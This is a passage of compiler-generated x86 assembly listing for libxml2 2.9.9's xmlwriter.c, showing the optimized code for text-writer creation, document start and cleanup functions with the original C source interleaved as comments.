; 535 : xmlWriterErrMsg(writer, XML_ERR_INTERNAL_ERROR,
push OFFSET ??_C@_0DL@JOCNHFIJ@xmlTextWriterStartDocument?5?3?5no@
push 1
push esi
call _xmlWriterErrMsg
add esp, 12 ; 0000000cH
; 625 :
; 626 : return sum;
; 627 : }
or eax, -1
pop edi
pop esi
pop ebx
pop ebp
ret 0
$LN4@xmlTextWri:
; 536 : "xmlTextWriterStartDocument : not allowed in this context!\n");
; 537 : return -1;
; 538 : }
; 539 :
; 540 : encoder = NULL;
; 541 : if (encoding != NULL) {
mov eax, DWORD PTR _encoding$[ebp]
xor ecx, ecx
test eax, eax
je SHORT $LN6@xmlTextWri
; 542 : encoder = xmlFindCharEncodingHandler(encoding);
push eax
call _xmlFindCharEncodingHandler
mov ecx, eax
add esp, 4
; 543 : if (encoder == NULL) {
test ecx, ecx
jne SHORT $LN6@xmlTextWri
; 544 : xmlWriterErrMsg(writer, XML_ERR_NO_MEMORY,
push OFFSET ??_C@_0CN@ODOCGFDE@xmlTextWriterStartDocument?5?3?5ou@
push 2
push esi
call _xmlWriterErrMsg
add esp, 12 ; 0000000cH
; 625 :
; 626 : return sum;
; 627 : }
or eax, -1
pop edi
pop esi
pop ebx
pop ebp
ret 0
$LN6@xmlTextWri:
; 545 : "xmlTextWriterStartDocument : out of memory!\n");
; 546 : return -1;
; 547 : }
; 548 : }
; 549 :
; 550 : writer->out->encoder = encoder;
mov eax, DWORD PTR [esi]
mov DWORD PTR [eax+12], ecx
mov eax, DWORD PTR [esi]
; 551 : if (encoder != NULL) {
test ecx, ecx
je SHORT $LN7@xmlTextWri
; 552 : if (writer->out->conv == NULL) {
cmp DWORD PTR [eax+20], 0
jne SHORT $LN9@xmlTextWri
; 553 : writer->out->conv = xmlBufCreateSize(4000);
push 4000 ; 00000fa0H
call _xmlBufCreateSize
mov ecx, DWORD PTR [esi]
add esp, 4
mov DWORD PTR [ecx+20], eax
mov eax, DWORD PTR [esi]
$LN9@xmlTextWri:
; 554 : }
; 555 : xmlCharEncOutput(writer->out, 1);
push 1
push eax
call _xmlCharEncOutput
; 556 : if ((writer->doc != NULL) && (writer->doc->encoding == NULL))
mov eax, DWORD PTR [esi+40]
add esp, 8
test eax, eax
je SHORT $LN8@xmlTextWri
cmp DWORD PTR [eax+60], 0
jne SHORT $LN8@xmlTextWri
; 557 : writer->doc->encoding = xmlStrdup((xmlChar *)writer->out->encoder->name);
mov eax, DWORD PTR [esi]
mov eax, DWORD PTR [eax+12]
push DWORD PTR [eax]
call _xmlStrdup
mov ecx, DWORD PTR [esi+40]
add esp, 4
mov DWORD PTR [ecx+60], eax
; 558 : } else
jmp SHORT $LN8@xmlTextWri
$LN7@xmlTextWri:
; 559 : writer->out->conv = NULL;
mov DWORD PTR [eax+20], 0
$LN8@xmlTextWri:
; 560 :
; 561 : sum = 0;
; 562 : count = xmlOutputBufferWriteString(writer->out, "<?xml version=");
push OFFSET ??_C@_0P@CNJADHFP@?$DM?$DPxml?5version?$DN@
push DWORD PTR [esi]
call _xmlOutputBufferWriteString
mov edi, eax
add esp, 8
; 563 : if (count < 0)
test edi, edi
js $LN31@xmlTextWri
; 564 : return -1;
; 565 : sum += count;
; 566 : count = xmlOutputBufferWrite(writer->out, 1, &writer->qchar);
lea ebx, DWORD PTR [esi+28]
push ebx
push 1
push DWORD PTR [esi]
call _xmlOutputBufferWrite
add esp, 12 ; 0000000cH
; 567 : if (count < 0)
test eax, eax
js $LN31@xmlTextWri
; 568 : return -1;
; 569 : sum += count;
; 570 : if (version != 0)
; 571 : count = xmlOutputBufferWriteString(writer->out, version);
; 572 : else
; 573 : count = xmlOutputBufferWriteString(writer->out, "1.0");
; 574 : if (count < 0)
mov ecx, DWORD PTR _version$[ebp]
add edi, eax
test ecx, ecx
mov eax, OFFSET ??_C@_03HLLJOCDO@1?40@
cmovne eax, ecx
push eax
push DWORD PTR [esi]
call _xmlOutputBufferWriteString
add esp, 8
mov DWORD PTR tv481[ebp], eax
test eax, eax
js $LN31@xmlTextWri
; 575 : return -1;
; 576 : sum += count;
; 577 : count = xmlOutputBufferWrite(writer->out, 1, &writer->qchar);
push ebx
push 1
push DWORD PTR [esi]
call _xmlOutputBufferWrite
add esp, 12 ; 0000000cH
; 578 : if (count < 0)
test eax, eax
js $LN31@xmlTextWri
; 579 : return -1;
; 580 : sum += count;
add eax, DWORD PTR tv481[ebp]
add edi, eax
; 581 : if (writer->out->encoder != 0) {
mov eax, DWORD PTR [esi]
cmp DWORD PTR [eax+12], 0
je SHORT $LN17@xmlTextWri
; 582 : count = xmlOutputBufferWriteString(writer->out, " encoding=");
push OFFSET ??_C@_0L@GJNPICMJ@?5encoding?$DN@
push eax
call _xmlOutputBufferWriteString
add esp, 8
; 583 : if (count < 0)
test eax, eax
js $LN31@xmlTextWri
; 584 : return -1;
; 585 : sum += count;
; 586 : count = xmlOutputBufferWrite(writer->out, 1, &writer->qchar);
push ebx
push 1
push DWORD PTR [esi]
add edi, eax
call _xmlOutputBufferWrite
add esp, 12 ; 0000000cH
; 587 : if (count < 0)
test eax, eax
js $LN31@xmlTextWri
; 588 : return -1;
; 589 : sum += count;
; 590 : count =
mov ecx, DWORD PTR [esi]
add edi, eax
mov eax, DWORD PTR [ecx+12]
push DWORD PTR [eax]
push ecx
call _xmlOutputBufferWriteString
add esp, 8
; 591 : xmlOutputBufferWriteString(writer->out,
; 592 : writer->out->encoder->name);
; 593 : if (count < 0)
test eax, eax
js $LN31@xmlTextWri
; 594 : return -1;
; 595 : sum += count;
; 596 : count = xmlOutputBufferWrite(writer->out, 1, &writer->qchar);
push ebx
push 1
push DWORD PTR [esi]
add edi, eax
call _xmlOutputBufferWrite
add esp, 12 ; 0000000cH
; 597 : if (count < 0)
test eax, eax
js $LN31@xmlTextWri
; 598 : return -1;
; 599 : sum += count;
add edi, eax
$LN17@xmlTextWri:
; 600 : }
; 601 :
; 602 : if (standalone != 0) {
cmp DWORD PTR _standalone$[ebp], 0
je SHORT $LN22@xmlTextWri
; 603 : count = xmlOutputBufferWriteString(writer->out, " standalone=");
push OFFSET ??_C@_0N@BGGHLCGN@?5standalone?$DN@
push DWORD PTR [esi]
call _xmlOutputBufferWriteString
add esp, 8
; 604 : if (count < 0)
test eax, eax
js $LN31@xmlTextWri
; 605 : return -1;
; 606 : sum += count;
; 607 : count = xmlOutputBufferWrite(writer->out, 1, &writer->qchar);
push ebx
push 1
push DWORD PTR [esi]
add edi, eax
call _xmlOutputBufferWrite
add esp, 12 ; 0000000cH
; 608 : if (count < 0)
test eax, eax
js $LN31@xmlTextWri
; 609 : return -1;
; 610 : sum += count;
; 611 : count = xmlOutputBufferWriteString(writer->out, standalone);
push DWORD PTR _standalone$[ebp]
add edi, eax
push DWORD PTR [esi]
call _xmlOutputBufferWriteString
add esp, 8
; 612 : if (count < 0)
test eax, eax
js $LN31@xmlTextWri
; 613 : return -1;
; 614 : sum += count;
; 615 : count = xmlOutputBufferWrite(writer->out, 1, &writer->qchar);
push ebx
push 1
push DWORD PTR [esi]
add edi, eax
call _xmlOutputBufferWrite
add esp, 12 ; 0000000cH
; 616 : if (count < 0)
test eax, eax
js SHORT $LN31@xmlTextWri
; 617 : return -1;
; 618 : sum += count;
add edi, eax
$LN22@xmlTextWri:
; 619 : }
; 620 :
; 621 : count = xmlOutputBufferWriteString(writer->out, "?>\n");
push OFFSET ??_C@_03KCOJOIAE@?$DP?$DO?6@
push DWORD PTR [esi]
call _xmlOutputBufferWriteString
add esp, 8
; 622 : if (count < 0)
test eax, eax
js SHORT $LN31@xmlTextWri
; 623 : return -1;
; 624 : sum += count;
add eax, edi
pop edi
; 625 :
; 626 : return sum;
; 627 : }
pop esi
pop ebx
pop ebp
ret 0
$LN3@xmlTextWri:
; 138 : __xmlRaiseError(NULL, NULL, NULL, ctxt->ctxt,
push OFFSET ??_C@_0CO@KMFPACDM@xmlTextWriterStartDocument?5?3?5in@
push OFFSET ??_C@_02DKCKIIND@?$CFs@
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 3
push 1
push 25 ; 00000019H
push 0
push DWORD PTR [esi+32]
; 139 : NULL, XML_FROM_WRITER, error, XML_ERR_FATAL,
; 140 : NULL, 0, NULL, NULL, NULL, 0, 0, "%s", msg);
; 141 : } else {
jmp SHORT $LN33@xmlTextWri
$LN30@xmlTextWri:
; 142 : __xmlRaiseError(NULL, NULL, NULL, NULL, NULL, XML_FROM_WRITER, error,
push OFFSET ??_C@_0CO@KMFPACDM@xmlTextWriterStartDocument?5?3?5in@
push OFFSET ??_C@_02DKCKIIND@?$CFs@
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 3
push 1
push 25 ; 00000019H
push 0
push 0
$LN33@xmlTextWri:
; 625 :
; 626 : return sum;
; 627 : }
push 0
push 0
push 0
call ___xmlRaiseError
add esp, 68 ; 00000044H
$LN31@xmlTextWri:
pop edi
pop esi
or eax, -1
pop ebx
pop ebp
ret 0
_xmlTextWriterStartDocument ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c
; COMDAT _xmlFreeTextWriter
_TEXT SEGMENT
_writer$ = 8 ; size = 4
_xmlFreeTextWriter PROC ; COMDAT
; 478 : {
push ebp
mov ebp, esp
push esi
mov ecx, OFFSET __DA396148_xmlwriter@c
call @__CheckForDebuggerJustMyCode@4
mov esi, DWORD PTR _writer$[ebp]
test esi, esi
je $LN1@xmlFreeTex
; 479 : if (writer == NULL)
; 480 : return;
; 481 :
; 482 : if (writer->out != NULL)
mov eax, DWORD PTR [esi]
test eax, eax
je SHORT $LN3@xmlFreeTex
; 483 : xmlOutputBufferClose(writer->out);
push eax
call _xmlOutputBufferClose
add esp, 4
$LN3@xmlFreeTex:
; 484 :
; 485 : if (writer->nodes != NULL)
mov eax, DWORD PTR [esi+4]
test eax, eax
je SHORT $LN4@xmlFreeTex
; 486 : xmlListDelete(writer->nodes);
push eax
call _xmlListDelete
add esp, 4
$LN4@xmlFreeTex:
; 487 :
; 488 : if (writer->nsstack != NULL)
mov eax, DWORD PTR [esi+8]
test eax, eax
je SHORT $LN5@xmlFreeTex
; 489 : xmlListDelete(writer->nsstack);
push eax
call _xmlListDelete
add esp, 4
$LN5@xmlFreeTex:
; 490 :
; 491 : if (writer->ctxt != NULL) {
mov eax, DWORD PTR [esi+32]
test eax, eax
je SHORT $LN6@xmlFreeTex
; 492 : if ((writer->ctxt->myDoc != NULL) && (writer->no_doc_free == 0)) {
mov ecx, DWORD PTR [eax+8]
test ecx, ecx
je SHORT $LN7@xmlFreeTex
cmp DWORD PTR [esi+36], 0
jne SHORT $LN7@xmlFreeTex
; 493 : xmlFreeDoc(writer->ctxt->myDoc);
push ecx
call _xmlFreeDoc
; 494 : writer->ctxt->myDoc = NULL;
mov eax, DWORD PTR [esi+32]
add esp, 4
mov DWORD PTR [eax+8], 0
mov eax, DWORD PTR [esi+32]
$LN7@xmlFreeTex:
; 495 : }
; 496 : xmlFreeParserCtxt(writer->ctxt);
push eax
call _xmlFreeParserCtxt
add esp, 4
$LN6@xmlFreeTex:
; 497 : }
; 498 :
; 499 : if (writer->doc != NULL)
mov eax, DWORD PTR [esi+40]
test eax, eax
je SHORT $LN8@xmlFreeTex
; 500 : xmlFreeDoc(writer->doc);
push eax
call _xmlFreeDoc
add esp, 4
$LN8@xmlFreeTex:
; 501 :
; 502 : if (writer->ichar != NULL)
mov eax, DWORD PTR [esi+24]
test eax, eax
je SHORT $LN9@xmlFreeTex
; 503 : xmlFree(writer->ichar);
push eax
call DWORD PTR _xmlFree
add esp, 4
$LN9@xmlFreeTex:
; 504 : xmlFree(writer);
push esi
call DWORD PTR _xmlFree
add esp, 4
$LN1@xmlFreeTex:
pop esi
; 505 : }
pop ebp
ret 0
_xmlFreeTextWriter ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c
; COMDAT _xmlNewTextWriterTree
_TEXT SEGMENT
_saxHandler$ = -128 ; size = 128
_doc$ = 8 ; size = 4
_node$ = 12 ; size = 4
_compression$ = 16 ; size = 4
_xmlNewTextWriterTree PROC ; COMDAT
; 424 : {
push ebp
mov ebp, esp
sub esp, 128 ; 00000080H
mov ecx, OFFSET __DA396148_xmlwriter@c
push edi
call @__CheckForDebuggerJustMyCode@4
mov edi, DWORD PTR _doc$[ebp]
test edi, edi
jne SHORT $LN2@xmlNewText
; 142 : __xmlRaiseError(NULL, NULL, NULL, NULL, NULL, XML_FROM_WRITER, error,
push OFFSET ??_C@_0CP@PFMBJEMH@xmlNewTextWriterTree?5?3?5invalid?5@
push OFFSET ??_C@_02DKCKIIND@?$CFs@
push edi
push edi
push edi
push edi
push edi
push edi
push edi
push 3
push 1
push 25 ; 00000019H
push edi
push edi
push edi
push edi
push edi
call ___xmlRaiseError
add esp, 68 ; 00000044H
; 425 : xmlTextWriterPtr ret;
; 426 : xmlSAXHandler saxHandler;
; 427 : xmlParserCtxtPtr ctxt;
; 428 :
; 429 : if (doc == NULL) {
; 430 : xmlWriterErrMsg(NULL, XML_ERR_INTERNAL_ERROR,
; 431 : "xmlNewTextWriterTree : invalid document tree!\n");
; 432 : return NULL;
xor eax, eax
pop edi
; 468 : }
mov esp, ebp
pop ebp
ret 0
$LN2@xmlNewText:
push esi
; 433 : }
; 434 :
; 435 : memset(&saxHandler, '\0', sizeof(saxHandler));
push 128 ; 00000080H
lea eax, DWORD PTR _saxHandler$[ebp]
push 0
push eax
call _memset
; 436 : xmlSAX2InitDefaultSAXHandler(&saxHandler, 1);
lea eax, DWORD PTR _saxHandler$[ebp]
push 1
push eax
call _xmlSAX2InitDefaultSAXHandler
; 437 : saxHandler.startDocument = xmlTextWriterStartDocumentCallback;
; 438 : saxHandler.startElement = xmlSAX2StartElement;
; 439 : saxHandler.endElement = xmlSAX2EndElement;
; 440 :
; 441 : ctxt = xmlCreatePushParserCtxt(&saxHandler, NULL, NULL, 0, NULL);
push 0
push 0
push 0
lea eax, DWORD PTR _saxHandler$[ebp]
mov DWORD PTR _saxHandler$[ebp+48], OFFSET _xmlTextWriterStartDocumentCallback
push 0
push eax
mov DWORD PTR _saxHandler$[ebp+56], OFFSET _xmlSAX2StartElement
mov DWORD PTR _saxHandler$[ebp+60], OFFSET _xmlSAX2EndElement
call _xmlCreatePushParserCtxt
mov esi, eax
add esp, 40 ; 00000028H
; 442 : if (ctxt == NULL) {
test esi, esi
jne SHORT $LN3@xmlNewText
; 142 : __xmlRaiseError(NULL, NULL, NULL, NULL, NULL, XML_FROM_WRITER, error,
push OFFSET ??_C@_0DJ@MHFIEMJE@xmlNewTextWriterDoc?5?3?5error?5at?5@
push OFFSET ??_C@_02DKCKIIND@?$CFs@
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push 3
push 1
push 25 ; 00000019H
push eax
push eax
push eax
push eax
push eax
call ___xmlRaiseError
add esp, 68 ; 00000044H
; 443 : xmlWriterErrMsg(NULL, XML_ERR_INTERNAL_ERROR,
; 444 : "xmlNewTextWriterDoc : error at xmlCreatePushParserCtxt!\n");
; 445 : return NULL;
xor eax, eax
pop esi
pop edi
; 468 : }
mov esp, ebp
pop ebp
ret 0
$LN3@xmlNewText:
push ebx
; 446 : }
; 447 : /*
; 448 : * For some reason this seems to completely break if node names
; 449 : * are interned.
; 450 : */
; 451 : ctxt->dictNames = 0;
; 452 :
; 453 : ret = xmlNewTextWriterPushParser(ctxt, compression);
push DWORD PTR _compression$[ebp]
mov DWORD PTR [esi+364], 0
push esi
call _xmlNewTextWriterPushParser
mov ebx, eax
add esp, 8
; 454 : if (ret == NULL) {
test ebx, ebx
jne SHORT $LN4@xmlNewText
; 455 : xmlFreeParserCtxt(ctxt);
push esi
call _xmlFreeParserCtxt
; 142 : __xmlRaiseError(NULL, NULL, NULL, NULL, NULL, XML_FROM_WRITER, error,
push OFFSET ??_C@_0DM@HKPAOPJL@xmlNewTextWriterDoc?5?3?5error?5at?5@
push OFFSET ??_C@_02DKCKIIND@?$CFs@
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 3
push 1
push 25 ; 00000019H
push ebx
push ebx
push ebx
push ebx
push ebx
call ___xmlRaiseError
add esp, 72 ; 00000048H
; 456 : xmlWriterErrMsg(NULL, XML_ERR_INTERNAL_ERROR,
; 457 : "xmlNewTextWriterDoc : error at xmlNewTextWriterPushParser!\n");
; 458 : return NULL;
xor eax, eax
pop ebx
pop esi
pop edi
; 468 : }
mov esp, ebp
pop ebp
ret 0
$LN4@xmlNewText:
; 459 : }
; 460 :
; 461 : ctxt->myDoc = doc;
; 462 : ctxt->node = node;
; 463 : ret->no_doc_free = 1;
; 464 :
; 465 : xmlSetDocCompressMode(doc, compression);
push DWORD PTR _compression$[ebp]
mov eax, DWORD PTR _node$[ebp]
mov DWORD PTR [esi+8], edi
mov DWORD PTR [esi+52], eax
push edi
mov DWORD PTR [ebx+36], 1
call _xmlSetDocCompressMode
add esp, 8
; 466 :
; 467 : return ret;
mov eax, ebx
pop ebx
pop esi
pop edi
; 468 : }
mov esp, ebp
pop ebp
ret 0
_xmlNewTextWriterTree ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c
; COMDAT _xmlNewTextWriterDoc
_TEXT SEGMENT
_saxHandler$ = -128 ; size = 128
_doc$ = 8 ; size = 4
_compression$ = 12 ; size = 4
_xmlNewTextWriterDoc PROC ; COMDAT
; 361 : {
push ebp
mov ebp, esp
sub esp, 128 ; 00000080H
push esi
mov ecx, OFFSET __DA396148_xmlwriter@c
call @__CheckForDebuggerJustMyCode@4
push 128 ; 00000080H
lea eax, DWORD PTR _saxHandler$[ebp]
push 0
push eax
call _memset
lea eax, DWORD PTR _saxHandler$[ebp]
push 1
push eax
call _xmlSAX2InitDefaultSAXHandler
push 0
push 0
push 0
lea eax, DWORD PTR _saxHandler$[ebp]
mov DWORD PTR _saxHandler$[ebp+48], OFFSET _xmlTextWriterStartDocumentCallback
push 0
push eax
mov DWORD PTR _saxHandler$[ebp+56], OFFSET _xmlSAX2StartElement
mov DWORD PTR _saxHandler$[ebp+60], OFFSET _xmlSAX2EndElement
call _xmlCreatePushParserCtxt
mov esi, eax
add esp, 40 ; 00000028H
test esi, esi
jne SHORT $LN2@xmlNewText
; 142 : __xmlRaiseError(NULL, NULL, NULL, NULL, NULL, XML_FROM_WRITER, error,
push OFFSET ??_C@_0DJ@MHFIEMJE@xmlNewTextWriterDoc?5?3?5error?5at?5@
push OFFSET ??_C@_02DKCKIIND@?$CFs@
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push 3
push 1
push 25 ; 00000019H
push eax
push eax
push eax
push eax
push eax
call ___xmlRaiseError
add esp, 68 ; 00000044H
; 362 : xmlTextWriterPtr ret;
; 363 : xmlSAXHandler saxHandler;
; 364 : xmlParserCtxtPtr ctxt;
; 365 :
; 366 : memset(&saxHandler, '\0', sizeof(saxHandler));
; 367 : xmlSAX2InitDefaultSAXHandler(&saxHandler, 1);
; 368 : saxHandler.startDocument = xmlTextWriterStartDocumentCallback;
; 369 : saxHandler.startElement = xmlSAX2StartElement;
; 370 : saxHandler.endElement = xmlSAX2EndElement;
; 371 :
; 372 : ctxt = xmlCreatePushParserCtxt(&saxHandler, NULL, NULL, 0, NULL);
; 373 : if (ctxt == NULL) {
; 374 : xmlWriterErrMsg(NULL, XML_ERR_INTERNAL_ERROR,
; 375 : "xmlNewTextWriterDoc : error at xmlCreatePushParserCtxt!\n");
; 376 : return NULL;
xor eax, eax
pop esi
; 409 : }
mov esp, ebp
pop ebp
ret 0
$LN2@xmlNewText:
; 377 : }
; 378 : /*
; 379 : * For some reason this seems to completely break if node names
; 380 : * are interned.
; 381 : */
; 382 : ctxt->dictNames = 0;
; 383 :
; 384 : ctxt->myDoc = xmlNewDoc(BAD_CAST XML_DEFAULT_VERSION);
push OFFSET ??_C@_03HLLJOCDO@1?40@
mov DWORD PTR [esi+364], 0
call _xmlNewDoc
add esp, 4
mov DWORD PTR [esi+8], eax
; 385 : if (ctxt->myDoc == NULL) {
test eax, eax
jne SHORT $LN3@xmlNewText
; 386 : xmlFreeParserCtxt(ctxt);
push esi
call _xmlFreeParserCtxt
; 142 : __xmlRaiseError(NULL, NULL, NULL, NULL, NULL, XML_FROM_WRITER, error,
push OFFSET ??_C@_0CL@MKPGDELP@xmlNewTextWriterDoc?5?3?5error?5at?5@
push OFFSET ??_C@_02DKCKIIND@?$CFs@
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 3
push 1
push 25 ; 00000019H
push 0
push 0
push 0
push 0
push 0
call ___xmlRaiseError
add esp, 72 ; 00000048H
; 387 : xmlWriterErrMsg(NULL, XML_ERR_INTERNAL_ERROR,
; 388 : "xmlNewTextWriterDoc : error at xmlNewDoc!\n");
; 389 : return NULL;
xor eax, eax
pop esi
; 409 : }
mov esp, ebp
pop ebp
ret 0
$LN3@xmlNewText:
push edi
; 390 : }
; 391 :
; 392 : ret = xmlNewTextWriterPushParser(ctxt, compression);
push DWORD PTR _compression$[ebp]
push esi
call _xmlNewTextWriterPushParser
mov edi, eax
add esp, 8
mov eax, DWORD PTR [esi+8]
; 393 : if (ret == NULL) {
test edi, edi
jne SHORT $LN4@xmlNewText
; 394 : xmlFreeDoc(ctxt->myDoc);
push eax
call _xmlFreeDoc
; 395 : xmlFreeParserCtxt(ctxt);
push esi
call _xmlFreeParserCtxt
; 142 : __xmlRaiseError(NULL, NULL, NULL, NULL, NULL, XML_FROM_WRITER, error,
push OFFSET ??_C@_0DM@HKPAOPJL@xmlNewTextWriterDoc?5?3?5error?5at?5@
push OFFSET ??_C@_02DKCKIIND@?$CFs@
push edi
push edi
push edi
push edi
push edi
push edi
push edi
push 3
push 1
push 25 ; 00000019H
push edi
push edi
push edi
push edi
push edi
call ___xmlRaiseError
add esp, 76 ; 0000004cH
; 396 : xmlWriterErrMsg(NULL, XML_ERR_INTERNAL_ERROR,
; 397 : "xmlNewTextWriterDoc : error at xmlNewTextWriterPushParser!\n");
; 398 : return NULL;
xor eax, eax
pop edi
pop esi
; 409 : }
mov esp, ebp
pop ebp
ret 0
$LN4@xmlNewText:
; 399 : }
; 400 :
; 401 : xmlSetDocCompressMode(ctxt->myDoc, compression);
push DWORD PTR _compression$[ebp]
push eax
call _xmlSetDocCompressMode
; 402 :
; 403 : if (doc != NULL) {
mov ecx, DWORD PTR _doc$[ebp]
add esp, 8
test ecx, ecx
je SHORT $LN5@xmlNewText
; 404 : *doc = ctxt->myDoc;
mov eax, DWORD PTR [esi+8]
mov DWORD PTR [ecx], eax
; 405 : ret->no_doc_free = 1;
mov DWORD PTR [edi+36], 1
$LN5@xmlNewText:
; 406 : }
; 407 :
; 408 : return ret;
mov eax, edi
pop edi
pop esi
; 409 : }
mov esp, ebp
pop ebp
ret 0
_xmlNewTextWriterDoc ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c
; COMDAT _xmlNewTextWriterPushParser
_TEXT SEGMENT
_ctxt$ = 8 ; size = 4
_compression$ = 12 ; size = 4
_xmlNewTextWriterPushParser PROC ; COMDAT
; 318 : {
push ebp
mov ebp, esp
push esi
mov ecx, OFFSET __DA396148_xmlwriter@c
call @__CheckForDebuggerJustMyCode@4
mov esi, DWORD PTR _ctxt$[ebp]
test esi, esi
jne SHORT $LN2@xmlNewText
; 142 : __xmlRaiseError(NULL, NULL, NULL, NULL, NULL, XML_FROM_WRITER, error,
push OFFSET ??_C@_0CP@MDJJPOLB@xmlNewTextWriterPushParser?5?3?5in@
push OFFSET ??_C@_02DKCKIIND@?$CFs@
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push 3
push 1
push 25 ; 00000019H
push esi
push esi
push esi
push esi
push esi
call ___xmlRaiseError
add esp, 68 ; 00000044H
; 319 : xmlTextWriterPtr ret;
; 320 : xmlOutputBufferPtr out;
; 321 :
; 322 : if (ctxt == NULL) {
; 323 : xmlWriterErrMsg(NULL, XML_ERR_INTERNAL_ERROR,
; 324 : "xmlNewTextWriterPushParser : invalid context!\n");
; 325 : return NULL;
xor eax, eax
pop esi
; 346 :
; 347 : return ret;
; 348 : }
pop ebp
ret 0
$LN2@xmlNewText:
push edi
; 326 : }
; 327 :
; 328 : out = xmlOutputBufferCreateIO(xmlTextWriterWriteDocCallback,
push 0
push esi
push OFFSET _xmlTextWriterCloseDocCallback
push OFFSET _xmlTextWriterWriteDocCallback
call _xmlOutputBufferCreateIO
mov edi, eax
add esp, 16 ; 00000010H
; 329 : xmlTextWriterCloseDocCallback,
; 330 : (void *) ctxt, NULL);
; 331 : if (out == NULL) {
test edi, edi
jne SHORT $LN3@xmlNewText
; 142 : __xmlRaiseError(NULL, NULL, NULL, NULL, NULL, XML_FROM_WRITER, error,
push OFFSET ??_C@_0EA@BHKIBNFO@xmlNewTextWriterPushParser?5?3?5er@
push OFFSET ??_C@_02DKCKIIND@?$CFs@
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push 3
push 1
push 25 ; 00000019H
push eax
push eax
push eax
push eax
push eax
call ___xmlRaiseError
add esp, 68 ; 00000044H
; 332 : xmlWriterErrMsg(NULL, XML_ERR_INTERNAL_ERROR,
; 333 : "xmlNewTextWriterPushParser : error at xmlOutputBufferCreateIO!\n");
; 334 : return NULL;
xor eax, eax
pop edi
pop esi
; 346 :
; 347 : return ret;
; 348 : }
pop ebp
ret 0
$LN3@xmlNewText:
; 335 : }
; 336 :
; 337 : ret = xmlNewTextWriter(out);
push edi
call _xmlNewTextWriter
add esp, 4
; 338 : if (ret == NULL) {
test eax, eax
jne SHORT $LN4@xmlNewText
; 142 : __xmlRaiseError(NULL, NULL, NULL, NULL, NULL, XML_FROM_WRITER, error,
push OFFSET ??_C@_0DJ@DOJNHAEH@xmlNewTextWriterPushParser?5?3?5er@
push OFFSET ??_C@_02DKCKIIND@?$CFs@
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push 3
push 1
push 25 ; 00000019H
push eax
push eax
push eax
push eax
push eax
call ___xmlRaiseError
; 339 : xmlWriterErrMsg(NULL, XML_ERR_INTERNAL_ERROR,
; 340 : "xmlNewTextWriterPushParser : error at xmlNewTextWriter!\n");
; 341 : xmlOutputBufferClose(out);
push edi
call _xmlOutputBufferClose
add esp, 72 ; 00000048H
; 342 : return NULL;
xor eax, eax
pop edi
pop esi
; 346 :
; 347 : return ret;
; 348 : }
pop ebp
ret 0
$LN4@xmlNewText:
pop edi
; 343 : }
; 344 :
; 345 : ret->ctxt = ctxt;
mov DWORD PTR [eax+32], esi
pop esi
; 346 :
; 347 : return ret;
; 348 : }
pop ebp
ret 0
_xmlNewTextWriterPushParser ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c
; COMDAT _xmlNewTextWriterMemory
_TEXT SEGMENT
_buf$ = 8 ; size = 4
_compression$ = 12 ; size = 4
_xmlNewTextWriterMemory PROC ; COMDAT
; 279 : {
push ebp
mov ebp, esp
push esi
mov ecx, OFFSET __DA396148_xmlwriter@c
call @__CheckForDebuggerJustMyCode@4
push 0
push DWORD PTR _buf$[ebp]
call _xmlOutputBufferCreateBuffer
mov esi, eax
add esp, 8
test esi, esi
jne SHORT $LN2@xmlNewText
; 142 : __xmlRaiseError(NULL, NULL, NULL, NULL, NULL, XML_FROM_WRITER, error,
push OFFSET ??_C@_0CJ@HOKLKMGC@xmlNewTextWriterMemory?5?3?5out?5of@
push OFFSET ??_C@_02DKCKIIND@?$CFs@
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push 3
push 2
push 25 ; 00000019H
push eax
push eax
push eax
push eax
push eax
call ___xmlRaiseError
add esp, 68 ; 00000044H
; 297 : return NULL;
; 298 : }
; 299 :
; 300 : return ret;
; 301 : }
xor eax, eax
pop esi
pop ebp
ret 0
$LN2@xmlNewText:
; 280 : xmlTextWriterPtr ret;
; 281 : xmlOutputBufferPtr out;
; 282 :
; 283 : /*::todo handle compression */
; 284 : out = xmlOutputBufferCreateBuffer(buf, NULL);
; 285 :
; 286 : if (out == NULL) {
; 287 : xmlWriterErrMsg(NULL, XML_ERR_NO_MEMORY,
; 288 : "xmlNewTextWriterMemory : out of memory!\n");
; 289 : return NULL;
; 290 : }
; 291 :
; 292 : ret = xmlNewTextWriter(out);
push esi
call _xmlNewTextWriter
add esp, 4
; 293 : if (ret == NULL) {
test eax, eax
jne SHORT $LN1@xmlNewText
; 142 : __xmlRaiseError(NULL, NULL, NULL, NULL, NULL, XML_FROM_WRITER, error,
push OFFSET ??_C@_0CJ@HOKLKMGC@xmlNewTextWriterMemory?5?3?5out?5of@
push OFFSET ??_C@_02DKCKIIND@?$CFs@
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push 3
push 2
push 25 ; 00000019H
push eax
push eax
push eax
push eax
push eax
call ___xmlRaiseError
; 294 : xmlWriterErrMsg(NULL, XML_ERR_NO_MEMORY,
; 295 : "xmlNewTextWriterMemory : out of memory!\n");
; 296 : xmlOutputBufferClose(out);
push esi
call _xmlOutputBufferClose
add esp, 72 ; 00000048H
; 297 : return NULL;
; 298 : }
; 299 :
; 300 : return ret;
; 301 : }
xor eax, eax
$LN1@xmlNewText:
pop esi
pop ebp
ret 0
_xmlNewTextWriterMemory ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
